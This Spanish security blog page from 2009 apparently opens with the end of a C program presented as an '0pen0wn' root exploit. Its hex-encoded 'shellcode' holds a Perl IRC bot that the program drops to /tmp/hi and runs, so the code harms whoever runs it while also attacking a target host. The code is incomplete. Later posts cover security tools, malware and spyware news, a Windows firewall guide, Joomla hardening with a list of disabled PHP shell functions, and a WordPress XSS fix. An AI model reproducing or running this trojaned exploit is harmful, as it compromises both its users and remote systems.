"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70"
"\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b"
"\x2f\x74\x6d\x70\x2f\x68\x69\x0a";
#define SIZE 0xffffff
#define OFFSET 131
#define fremote build_frem(t,e,s,m,y)

void usage(char *arg){
printf("\n[+] 0pen0wn 0wnz Linux/FreeBSD\n");
printf(" Usage: %s -h -p port\n",arg);
printf(" Options:\n");
printf(" \t-h ip/host of target\n");
printf(" \t-p port\n");
printf(" \t-d username\n");
printf(" \t-B memory_limit 8/16/64\n\n\n");
}

#define FD 0x080518fc
#define BD 0x08082000

int main(int argc, char **argv){
FILE *jmpinst;
char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;
int port=23, limit=8, target=0, sock;
struct hostent *host;
struct sockaddr_in addr;

if (geteuid()) {
puts("need root for raw socket, etc...");
return 1;
}

if(argc < 3){
usage(argv[0]);
return 1;
}


printf("\n [+] 0wn0wn - by anti-sec group\n");

if (!inet_aton(h, &addr.sin_addr)){
host = gethostbyname(h);
if (!host){
printf(" [-] Resolving failed\n");
return 1;
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
}

sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
printf(" [-] Connecting failed\n");
return 1;
}
payload = malloc(limit * 10000);
ptr = payload+8;
memcpy(ptr,jmpcode,strlen(jmpcode));
jmpinst=fopen(shellcode+793,"w+");
if(jmpinst){
fseek(jmpinst,0,SEEK_SET);
fprintf(jmpinst,"%s",shellcode);
fclose(jmpinst);
}
ptr += strlen(jmpcode);
if(target != 5 && target != 6){
memcpy(ptr,shellcode,strlen(shellcode));
ptr += strlen(shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode));
}
else{
memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode));
ptr += strlen(fbsd_shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode));
}
send(sock,buffer,strlen(buffer),0);
send(sock,ptr,3750,0);
close(sock);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
printf(" [-] connecting failed\n");
}

payload[sizeof(payload)-1] = '\0';
payload[sizeof(payload)-2] = '\0';
send(sock,buffer,strlen(buffer),0);
send(sock,payload,strlen(payload),0);
close(sock);
free(payload);
addr.sin_port = htons(6666);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
/* v--- our cool bar that says: "r0000000t!!!" */
printf("\n [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]\n\n");
fremote("PS1='sh-3.2#' /bin/sh");
}
else
printf(" [-] failed to exploit target :-(\n");
close(sock);
return 0;
}


He quitado los includes del principio para que no compile, así a nadie se le ocurrirá ejecutarlo.

Fuente: Hacking-Avanzado

Saludos
Dr.White

miércoles 22 de julio de 2009

Subscribanse al Blog

Lectores del Blog, les agradeceré se subscriban a nuestro blog como lectores solo tienen que ir a




Y podran ver el contenido desde nuestro FEED, Ahi podran Recibir algun contenido especial que no será puesto en el Blog como Programas Privados y los posts antes de que se pongan en el BLOG Podrán ser Enviados a sus Emails.


Saludos y espero verlos Subscribiendose
Dr.White

Blue Alert - Bluetooth Security Testing

Lectores de Mi Blog, desde hace ya 6 meses llevo estudiando los Comandos AT, Bluetooth, El funcionamiento del Broadcast por moviles y aparatos electronicos, el Infrarojo y mucho mas y decido compartirles a mis lectores este programita:


Blue Alert


El Blue Alert es un programa que permite un pequeño monitoreo de dispositivos bluetooth cercanos como Moviles, Dispositivos Bluetooth, Pcs y muchos mas, este programa tambien te mostrará un pequeño pop-up o BOX que te dirá que un nuevo dispositivo bluetooth fue encontrado, hace ya buen tiempo que no lo usaba de hecho fue uno de mis primero programas hasta que decidí comensar a hacer los mios, espero les sirva para aquellos que no solo les interesa la Seguridad Informática a Nivel de PCs sino al igual que a mí le interesa la Seguridad Informática en General.


Descarga el Blue Alert desde aquí


Saludos
Dédalo

Pen-Test Tool: W3af






























w3af es un scanner de vulnerabilidades open source bastante decente. Es similar a otros conocidos como Shadow Security Scanner, aunque no tiene (de momento) tantos plug-ins ni tantas vulnerabilidades en su base de datos. Está escrito en Python, y disponible tanto para Windows como para Linux.
Funciona tanto en modo consola como con GUI.

Características

Página oficial

Descarga // Disponible en los repositorios experimental de Debian.

Es necesario tener Python instalado, obvio, y algunos móduos más como pygoogle o ssl.
En Linux nos ahorramos mucho con:
apt-get install python-pyparsing python-pydot python-soappy python-pyopenssl pygtkglext

Saludos
Dr.White

martes 21 de julio de 2009

Microsoft Libera 20.000 Lineas de Code

Sí, en serio, Microsoft sorprendió ayer a propios y extraños liberando 20.000 líneas código bajo licencia GPL v2, correspondientes a tres drivers. Si bien la función de estos drivers es optimizar la ejecución de Linux al ser virtualizado sobre Windows Server 2008 Hyper-V, es decir, que corra mejor sobre Windows, supone la primera publicación de código bajo GPL por parte de los de Redmond.

Todo comenzó cuando un usuario en el Vyatta solicitó soporte para el driver de red de Hyper-V en el kernel Vyatta. Con un poco de búsqueda era fácil encontrar los drivers necesarios, pero una vez visto en detalle había un problema y gordo: el driver tenía parte código abierto bajo la GPL y un enlace estático a varias partes binarias. Ya que la GPL no permite mezclar código abierto y cerrado, esto era una violación de la licencia.

Sin formar mucho escándalo, Steve Hemminger comentó el tema a Greg Kroah-Hartman, que mantiene una relación directa con Novell, que a su vez tiene un trato (digamos) directo con Microsoft, con la esperanza de que el asunto llegara a las personas adecuadas y tomaran medidas. El acto de fe ha producido un resultado desde luego interesante, porque supone muchas cosas:

Primero, supone que Microsoft acepta la GPLv2 públicamente como licencia válida para publicar código, lo que no es decir poco. Según Greg Kroah-Hartman, Microsoft seguiría contribuyendo con esta licencia al kernel, que trabajan para mejorar el código liberado, añadirán más funcionalidades y resolverán bugs si aparecen.

Segundo, que Microsoft podía haberse limitado a liberar el código cerrado del driver, pero en lugar de eso publican código abierto nuevo que mejora las prestaciones de Linux sobre Hyper-V.

Tercero, que aunque no está falto de interés, pues al fin y al cabo los que más se benefician de esto son los que virtualizan Linux sobre Hyper-V, no deja de ser un aporte al kernel que también beneficia a Linux. Sería una pena que un usuario que sólo conociera Linux corriendo sobre Hyper-V se llevara una falsa impresión respecto a su rendimiento o fiabilidad.

En el fondo, no se le puede criticar nada a Microsoft en esto. Si para satisfacer a tu cliente, tienes que publicar bajo GPL, pues publicas y punto. De esta forma, les facilitas que sigan manteniendo tu sistema cuando necesitan también usar otro. En este caso, creo que todos ganan.


Mas Info: http://lkml.org/lkml/2009/7/20/167




Saludos
Dr.White

Actualizacion de BlackBerry ¿Hay Spyware?

Una vez más Emiratos Árabes, en sus ansias de controlarlo todo, es noticia por introducir a través del operador Etisalat, una actualización para usuarios de Blackberry que contiene spyware.
Por lo visto, y gracias a esta nueva actualización, se interceptaban los mensajes de correo y SMS, así como la duración de la batería restante y se enviaban a un servidor del operador.

Se autopromocionaba como una actualización necesaria para poder seguir manteniendo el correcto servicio y en realidad contenía un fichero .JAR (en Java) que un usuario de un foro de Blackberry analizó con mayor detenimiento. "Interceptor" se llamaba la aplicación que el operador introducía en los dispositivos quedando en el la ruta: /com/ss8/interceptor/app. La forma en la que la actualización llegó a los clientes fue mediante un mensaje WAP Push, por lo que hizo al curioso usuario, sospechar. Después de desmenuzar el .JAR, este usuario llamó al operador para preguntar por la naturaleza de la actualización y allí le indicaron que efectivamente se trata de un parche oficial.

Ya hemos hablado sobre las peculiaridades de Emiratos Árabes en otros posts. Así como las llamadas y los SMS se pueden esniffar más fácilmente desde el operador, la propia arquitectura Blackberry no permite la "intercepción legal" de los mensajes que en otros países deben haber dado varios problemas.

Por lo mismo, la gente de Etisalat para satisfacer a su gobierno, ha llegado a la conclusión de que para disponer de toda la información intercambiada por sus usuarios, lo mejor era hacer un despliegue masivo en forma de actualización de operador. Increible!!! Me pregunto yo que si cuando ITunes me avisa de que tiene nuevos ajustes de operador para mi Iphone, también hace que mi agenda viaje al distrito C.

Si queréis leer la noticia original podéis hacerlo aquí



Saludos
Dr.White

lunes 20 de julio de 2009

Malware para telefonos - Alarmante

El primer gusano que utiliza el spam por SMS para distribuirse entre dispositivos móviles ha desarrollado una nueva capacidad de comunicación que, según Trend Micro, implica la llegada de las botnets de móviles.

Por primera vez, una pieza de malware móvil puede enviar y recibir información desde un servidor remoto. Trend Micro ha analizado una pieza conocida como "Sexy Space", que es una variante a su vez de otro ejemplar de malware móvil llamada Sexy View, que ataca a dispositivos Symbian S60 OS.

Sexy View se detectó hace seis meses en China y es la primera muestra de malware conocida que se expande por SMS. Los teléfonos infectados pueden enviar mensajes de texto a cualquiera en su lista de contactos con un enlace a una web, y si ese alguien pincha en el link, se le instalará Sexy View, que le ofrecerá contenidos pornográficos.

Una de las cosas más llamativas es que los que escribieron Sexy View fueron capaces de hacer que su aplicación fuera aprobada y firmada pos Symbian. El fabricante del sistema operativo, ahora propiedad de Nokia, veta por seguridad aplicaciones que empleen procesos manuales y automatizados, según explica Mikko Hypponen, director de investigación de F-Secure. Sin embargo, los creadores de Sexy View fueron capaces de transgredir ese proceso de veto y ahora la aplicación puede acceder a funciones como el SMS, añade el experto. La última variante, Sexy Space, también está firmada por Symbian.

Por su parte, los ingenieros de Trend Micro han descubierto que Sexy Space puede descargar nuevas plantillas de SMS desde un servidor remoto para enviar spam móvil, según señala Rik Ferguson, consejero de seguridad senior de esta compañía. Hasta el momento no se había conocido ningún malware móvil que fuera capaz de hacer eso. Además, Sexy Space también es capaz de robar información de la red y del usuario del dispositivo y enviarla a un servidor remoto, añadió el experto.

Sexy Space confirma lo que analistas como Hypponen y Ferguson han venido sentenciando en el último año: que a medida que los dispositivos móviles ganan en funcionalidades y operan como un mini ordenador, es más probable que se conviertan en objetivo de los autores de malware y se puedan convertir en piezas de una botnet.

Aún se desconoce cuántos teléfonos podrían estar infectados, pero una empresa de seguridad móvil china, NetQin Tech, asegura en su blog que las infecciones se han expandido por China y Arabia Saudita.

Symbian ha sido informada de la existencia de este código malicioso para móviles por F-Secure. El director de investigación de la empresa de seguridad dice que los operadores de red pueden revocar el certificado que permite a una aplicación ejecutarse en un teléfono Symbian, si bien esos mecanismos de revocación no son automáticos, dependen de la configuración del operador y podrían no funcionar con todos los terminales.

Desde Symbian apuntan que la compañía ha emprendido acciones para deshabilitar el malware. Craig Heath, uno de los desarrolladores de Symbian, explica en el blog de seguridad de la organización que han revocado los certificados de contenido y editor utilizados para firmar el malware. “Esto significa que el instalador de software de Symbian no instalará a partir de ahora el malware, haciendo que se active la comprobación de revocaciones. Desafortunadamente, este proceso es, a menudo, deshabilitado por los fabricantes de terminales porque el tráfico de datos podría causar problemas a los usuarios que carecen de planes de datos como parte de su servicio o que pagan por el volumen de datos descargados”.

Tanto F-Secure como Trend Micro han publicado sus propios análisis sobre el malware.

Fuente: CSO Spain


Saludos
Dr.White

El Firewall de Windows


Windows, desde su versión XP siempre ha incluido un firewall que permitía controlar el tráfico que llegaba a las interfaces de red (aunque antes lo denominaban Internet Connection Firewall). Tras el desastre que ocasionaron varios virus, Microsoft decidió que el SP2 de Windows XP publicado en el 2004 que activaría por defecto el firewall en todas las interfaces, para evitar episiodios como el del Blaster o Sasser.


Para conectar el firewall en esas versiones de Windows anteriores al SP2 había que configurarlo a través de las propiedades avanzadas de la conexión de red, y como suele ser normal, no solían activarlo. Con el SP2 se presentó un nuevo componente del panel de control firewall.cpl a través del cual podemos acceder a configurar el firewall:


Configuración del Firewall de Windows XP


Desde la pestaña General, activamos o desactivamos el firewall de una manera sencilla. Por otro lado, se puede permitir las excepciones. Si se marca esta casilla, el firewall no permitirá las excepciones que se definan en la pestaña Excepciones, pero tampoco se permitirán las configuraciones establecidas en la pestaña Opciones avanzadas. Esto, que no aparece documentado por ninguna parte, me ha dado bastante dolores de cabezas al intentar activar el firewall sólo en determinadas interfaces sin excepciones.


Las excepciones del firewall de Windows


Se controlan a través de la pestaña Excepciones:


Configuración de Excepciones


Se pueden añadir dos tipos de excepciones: las de programa o las excepciones de puerto. En las primeras se añaden la ruta completa a un programa al cual se la autoriza a abrir puertos. El firewall deja pasar conexiones entrantes en función del ámbito que se le autorice la conexión. En el segundo tipo de excepciones se abre un puerto determinado, ya sea TCP o UDP y cualquier programa puede escuchar en esos puertos.


Con la primera opción es sencillo que cualquier programa abra un puerto de escucha según se desee. Esto puede ser útil en el caso de programas que usen puertos dinámicos. Un caso sencillo es un servidor ftp que utilice el modo pasivo para las conexiones. En el caso, con introducir la ruta al servidor de ftp, hará que el programa si abre un puerto, pueda recibir las conexiones.
Agregar programa excepción


Si lo que se quiere abrir es un puerto de manera permanente, con independencia del programa que pueda escuchar en él, lo que se utilizamos es la opción de añadir un puerto:


Agregar excepción de puerto


En ambos tipo de excepciones se puede controlar el ámbito del cual se permitirán las excepciones:


Ámbitos del firewall


Cada uno de los ámbitos son los siguientes:


  • Cualquier equipo. En este ámbito permite la conexión desde cualquier equipo a nuestro ordenador.

  • Sólo mi red. Permite la conexión sólo desde aquellas direcciones IP que pertenezcan a la subred en la cual el ordenador tiene conectado interfaces.

  • Lista Personalizadas. Nos permite introducir la lista de direcciones IP que deseemos autorizar para conectad.


Por último recordar que si marca la casilla en la pestaña general de no permitir excepciones, se ignorará las configuraciones introducidas en esta pestaña.

Opciones avanzadas


Desde esta pantalla se permite configurar varias opciones:


Opciones avanzadas



  • De esta pestaña quizás lo más importante es la posibilidad de activar la conexión por interfaz (por ejemplo puede desearse que todas las conexiones PPP o VPN estén protegidas por el firewall por defecto, mientras que la conexión de LAN que sólo utilizamos en la oficina no).

  • El registro de seguridad nos permite especificar un archivo donde se registrarán los eventos que produzca el firewall (paquetes descartados, conexiones recibidas, etc) y limitar el tamaño del mismos.

  • Bajo la opción ICMP permite permitir la entrada de ciertos paquetes ICMP. Convendría dejar pasar aquellos que permiten el cálculo de MTU, concretamente el que se envía cuando un router no puede fragmentar los paquetes, porque en caso contrario pueden presentarse problemas de conectividad

  • La opción Configuración predeterminada permite restaurar los valores por defecto.




El firewall en un dominio de directorio activo


El firewall se puede configurar a través de una GPO o bien a través de las políticas locales. Existen dos perfiles cuando se configura de esta manera:

  • Perfil estándar: Este el perfil que aplica el sistema cuando no puede determinar que está en una red administrada a través de diretorio activo (dominio)

  • Perfil de dominio: Este perfil se activa cuando el sistema detecta que está conectado a una red de de directorio activo.


El sistema determina si está en una red de dominio o no a través de un algoritmo descrito en How Windows Firewall Works: se compara el sufijo DNS que tiene asignado todas las conexiones de red que no sean PPP o SLIP con el sufijo DNS que se ha almacenado en la clave de registro HKEY_Local_Machine\Software\Microsoft\Windows\CurrentVersion\Group Policy\History\NetworkName tras la última actualización de las políticas de dominio. Con esta información:

  • Si el sistema no está conectado a una red de dominio, de existir un perfil, usaría el estándar - se puede aplicar un perfil estándar a través del de las políticas locales gpedit.msc.

  • Si coincide la información de DNS de la conexión de red (que no sea una conexión PPP o SLIP) con la que está almacenada en el registro tras la última actualización de políticas, el sistema considera que está conectado a una red manejada a través de directorio activo, y si está definido, empleará el perfil de dominio. En caso de que no coincididan, el sistema considerará que está conectado a una red no manejada, y por tanto, de estar definido, usaría el perfil estándar.


Una vez que el sistema ha determinado qué perfil va a usar, si existe alguna política de configuración definida para dicho perfil. Es importante señalar que las configuraciones distribuidas a través de perfiles tienen prioridad sobre todo lo demás, ya sea el GUI de control de la interfaz (firewall.cpl), el comando netsh, usando el contexto firewall o el API de Windows ya sea a través de lo implementado en los objetos implementados en la librería hnetcfg.dll. Una vez establecidas, no se pueden alterar ni a través del GUI ni a través del API.


Pueden controlarse varios parámetros a través de la política de dominio. Para acceder a las mismas hay que ir a Plantillas Administrativas, Red, Conexiones de Red, Firewall de Windows.

¿Qué falta en el post?


Hay varios puntos que me faltan por tratar en el post, y que espero ir poco a poco actualizando:

  • Como manejar el firewall a través del API que ofrece Windows.

  • Como manejar el firewall a través del comando netsh.

  • Una explicación más técnica de donde está el firewall,de que servicios depende y cómo se implementan las políticas.

  • Las políticas que se pueden configurar a través de una GPO.

  • La relación del firewall de Windows con los diferentes sistemas.


Iré actualizando el post o bien algunos nuevos conforme vaya tratando alguno de los puntos anteriores.

Referencias



Fuente: Icewinddale


Saludos
Dr.White

Pen-Test Tool: BSQLHACKER

Está excelente T00ls de Sql Inyeccion, desarrollada por PortCullis Labs, es un completo Framework para realizar un testeo de SQL Injection en nuestro aplicativos web, permite automatizar los procesos de búsqueda de inyecciones SQL e inyecciones ciegas de SQL, esta tool que he tenido el placer de probar no solo permite la inyección de código sino que tambien explora la Base De Datos a otro nivel, este proyecto se rige bajo la Licencia GPL y he encontrado un video donde pueden ver un poco de su funcionamiento.


Download: PortCullis Labs


Saludos
Dr.White

Pen-Test: Hardening a Joomla


1. INTRODUCCIÓN.

Tras preparar la máquina virtual para el hackme, voy a aprovechar para explicar una de las posibles formas de hacer hardening de un Joomla. Tal y como hemos supuesto para el hackme, nuestro objetivo será securizar una versión del joomla vieja, ya que la posible incompatibilidad de contenidos hace muy difícil su actualización en un entorno real.

No nos entretendremos en detalles de cómo se instala cada una de las herramientas, sino que nos ceñiremos a la configuración de las piezas más importantes y a cómo hay que poner los IDS para que funcione todo correctamente.

Y sí, este artículo describe el hardening del hackme ...

2. ¿CÓMO FUNCIONA UN SERVIDOR JOOMLA?

Joomla es un gestor de contenido usado por múltiples entidades para publicar sus webs. Consta de un apache con php, una base de datos MySQL y el propio Joomla, que es una aplicación escrita en php.

3. SEGURIDAD DE CADA UNO DE LOS COMPONENTES.

En esta sección revisaremos cada uno de los componentes del servidor e iremos detallando los pasos que hemos seguido para securizar el servidor.

3.1. SECURIZACIÓN DEL APACHE.

Existen numerosos documentos sobre cómo securizar un apache, así que no me voy a entretener demasiado.

Parte de este proceso consiste en ocultar los banners que da el apache, para que el atacante no pueda identificar la versión y sea más difícil lanzar exploits contra el servidor:

ServerTokens ProductOnly
ServerSignature Off


Otro paso importante consiste en reducir la lista de módulos que carga el apache a un mínimo absoluto, por ejemplo mod_userdir puede ser eliminado en este caso, y como él muchos más, cuestión de ir quitando uno a uno mientras se pueda.

También, para "oscurecer" más el servidor, redirigiremos todos los errores a la página principal:

ErrorDocument 400 /joomla/
ErrorDocument 401 /joomla/
ErrorDocument 402 /joomla/
ErrorDocument 403 /joomla/
ErrorDocument 404 /joomla/


Aparte, necesitamos restringir los comandos disponibles a GET, POST y HEAD, añadiendo esto dentro de las opciones de mod_rewrite:

RewriteEngine on
RewriteCond % {REQUEST_METHOD}!^(GET|POST|HEAD)$
RewriteRule .* â [F]



Y por supuesto, las directivas habituales para proteger el acceso a los directorios: que no se pueda leer .htaccess y, además, que no se puedan leer los archivos xml, que son fuente de valiosa información ya que no son interpretados por php.

Con esto, tenemos un apache relativamente seguro.

3.2. MODSECURITY.

Lo primero que hay que hacer, base de todo lo demás, es securizar el apache frente a sql-injection y otros ataques. Para ello, instalaremos mod_security: yum install mod_security.

Tras esto, lo siguiente es configurar mod_security para que la acción por defecto sea hacer DROP y devolver un 404 NOT FOUND, para lo que pondremos esto en modsecurity_crs_10_config.conf: SecDefaultAction "phase:2,log,deny,status:404,t:lowercase,t:replaceNulls,t:compressWhitespace".

Con mod_security, tenemos cubiertos los principales ataques contra nuestra web. No es que no sea posible saltárselo, pero desde luego es lo suficientemento complicado como para que no merezca demasiado la pena intentarlo. Deberemos, eso sí, estar al tanto de todas las actualizaciones que vayan saliendo de mod_security, ya que también hay exploits para las herramientas de seguridad ...

3.3. MYSQL.

La securización de mysql en un entorno como este es relativamente sencilla. Deberemos poner una password fuerte para el root del mysql (que no es el mismo que el root del servidor), borrar la base de datos test y todos los usuarios que estén en blancos. Además, dentro de /etc/my.cnf añadiremos:

skip-networking
set-variable=local-infile=0


La primera línea es para que no escuche en el puerto TCP/3306, sino que sólo va a usar un socket local, con lo que nadie podrá conectarse desde internet (también podemos cerrarlo en el fw, pero mejor así). La segunda evita los comandos típicos del mysql con INFILE, etc para leer y escribir archivos del sistema, que son base de muchos ataques por inyección de código.

Con esto será suficiente. También podríamos renombar el root de mysql a otra cuenta, pero no nos vamos a complicar tanto. Es más importante securizar el joomla.

3.4. PHP.INI.

Dentro del archivo de configuración php.ini, hay una serie de parámetros que podemos usar para configurar nuestra versión del php, los siguientes:

- estos dos hacen que php chequee los permisos de los archivos que "llama"

safe_mode = On
safe_mode_gid = On


- este hace que el php se limite al directorio base donde está instalado joomla, otra nueva medida de seguridad ante LFI (local file include) y similares:

open_basedir = /var/www/html/joomla

- deshabilitamos todas estas llamadas desde el código php:

disable_funcions = php_uname, getmyuid, getmypid, passthru, leak, listen, diskfreespace, tmpfile, link, ignore_user_abord, shell_exec, dl, set_time_limit, exec, system,...

- no damos información en los errores

expose_php = Off
display_errors = Off
display_startup_errors = Off


- ésta evita que nos sobreescriban parte de la memoria del host desde las variables del PHP:

register_globals = Off

- evitamos algunos ataques típicos de sql-injection:

magic_quotes_gpc = On


- evitamos RFI (remote file inclusion):

allow_url_fopen = Off
allow_url_include = Off


Y todavía tenemos alguna que otra más, de menor importancia, pero tampoco hace falta dar demasiado detalle. Si no fuera un gestor de contenidos (supuestamente) con usuarios que pueden subir y bajar documentos, sería conveniente evitar la subida de archivos (file_upload=off) y abrirla sólo para cuando el admin lo necesite. Pero repito que estas son las principales, compatibles con la mayoría de instalaciones de joomla.

3.4. JOOMLA

Una cosa importante cuando se securiza un servidor, y ésta no la pone en ningún libro, es ser un poco cabr**. Vamos a hacer unos "pequeños" cambios en joomla para fastidiar a posibles atacantes. Estoy seguro de que lo agradecerán:

- renombrar la cuenta "admin" a otra cosa, como pueda ser "miadminxxx" o algo así. Con esto, muchos de los exploits no funcionarán, porque se basan en conocer el nombre de la cuenta del administrador de joomla. Además, evitamos ataques por fuerza bruta contra el loggin de joomla.

- borrar todos los archivos de ayuda, archivos puestos por defecto por Joomla. Sobreescribir todas las imágenes de /images/ con las de la última versión (con esto, nos aparecerá el logotipo de Joomla 1.5 en lugar del que de verdad deberíamos tener).

- restringir el acceso a /administrator/ usando htacess (esto no lo he hecho, porque si no sería demasiado difícil)

- mover /administrator/ a /miadministrator/, u otro directorio similar que no sea fácil de encontrar por enumeración.

- impedir el registro de usuarios en el joomla.

Como véis, se pueden hacer unas cuantas cosas.


3.5. SNORT.

Por supuesto, instalaremos nuestro IDS favorito (snort), que en combinación con OSSEC y mod_security harán hackear el servidor una absoluta pesadilla.

Respecto de esto, y dado que la instalación de snort es totalmente trivial, tan sólo quiero señalar que las reglas que estoy usando no son las "ofiales" de snort.org, sino las que dan en emergingthreats.net, que están mucho más actualizadas.

Dentro del servidor, he puesto una tarea automática que se encarga de bajarse cada hora la última versión de las reglas, actualizarlas y reiniciar snort. Con esto, estamos a la última.

3.6. FIREWALL EN LOCAL.

Por si fuera poco, aunque alguien consiguiera romper el servidor tendría realmente difícil establecer una shell inversa: sólo permitimos queries DNS, NTP a un servidor de hora y HTTP para bajarnos las reglas.

La única posible conexión inversa que podríamos establecer sería un tunnel DNS, que no es nada fácil de hacer. E incluso esta conexión de salida podría cortarse, ya que nuestro servidor para nada hacer queries dns.

3.7. OSSEC.

Debo reconocer que, tras instalarlo en el trabajo a diestro y siniestro, le he cogido especial cariño a este HIDS. Es realmente bueno y, si lo configuras bien, puede competir perfectamente con los IDS comerciales.

Instalaremos ossec en local con la opción respuesta activa a "yes", para que bloquee todos los posibles ataques. Una vez instalado, nos aseguraremos de que está configurado de forma que vigila los logs del snort y del apache, que será que sí si lo hacemos en este punto.

Tras esto, añadiremos las siguientes líneas para que lea el log de mod_security:



Con lo cual, en cuanto alguien intente un ataque tipo sql-injection o similar, será banneado en el acto.

4. NOTAS FINALES.

Todavía hay más pasos por detallar en lo que es el hardening del servidor, pero no quiero distraeros con detalles sobre cómo desinstalar software innecesario (por ejemplo netcat), configurar ssh y otras cosas de menor importancia.

Con las medidas adoptadas, tendremos un servidor Joomla bastante seguro, contando con que la versión instalada, que en este caso es la 1.0.X, sea vulneable a todo tipo de exploits. Y no, lo cual suele hacerse pero es un poco ingenuo, contando con que la versión de Joomla es la última que ha salido.


5. APÉNDICE.

Este es el pantallazo de un ataque detectado por mod_security e inmediatamente cortado por ossec:



Como podéis ver, ha devuelto un 404 (NOT FOUND) y ha banneado la IP, con lo que el hacker se estará subiendo por las paredes ...

Y este otro pantallazo es para que veáis como, con un poco de mala leche, puede engañarse al hacker y hacerle pensar que realmente esto es un Joomla 1.5, y no un 1.0, como realmente es:



Fuente: hacking-avanzado

Saludos
Dr.White

Bug XSS en Wordpress 2.8.1

Parece que Automattic, la empresa desarrolladora de Wordpress ha tenido mucho trabajo últimamente con la rama 2.8.x de su producto, primero corrigieron un error en la versión 2.8 de WordPress, sacando la 2.8.1 y en menos de 15 dias ha salido esta nueva versión 2.8.2 que soluciona una vulnerabilidad XSS en los comentarios, haciendo posible que desde el panel de administración, un comentario especialmente diseñado, redirija al asministrador a una url donde por ejemplo puedan robar sus cookies y acceder como administrador a nuestro panel.


WordPress 2.8.2 en Español



Es recomendable que actualices tu versión de WordPress a la 2.8.2 aun no sale oficialmente en español, pero puedes utilizar este paquete de idiomas para traducirlo.

Fuente: Dragonjar


Saludos
Dr.White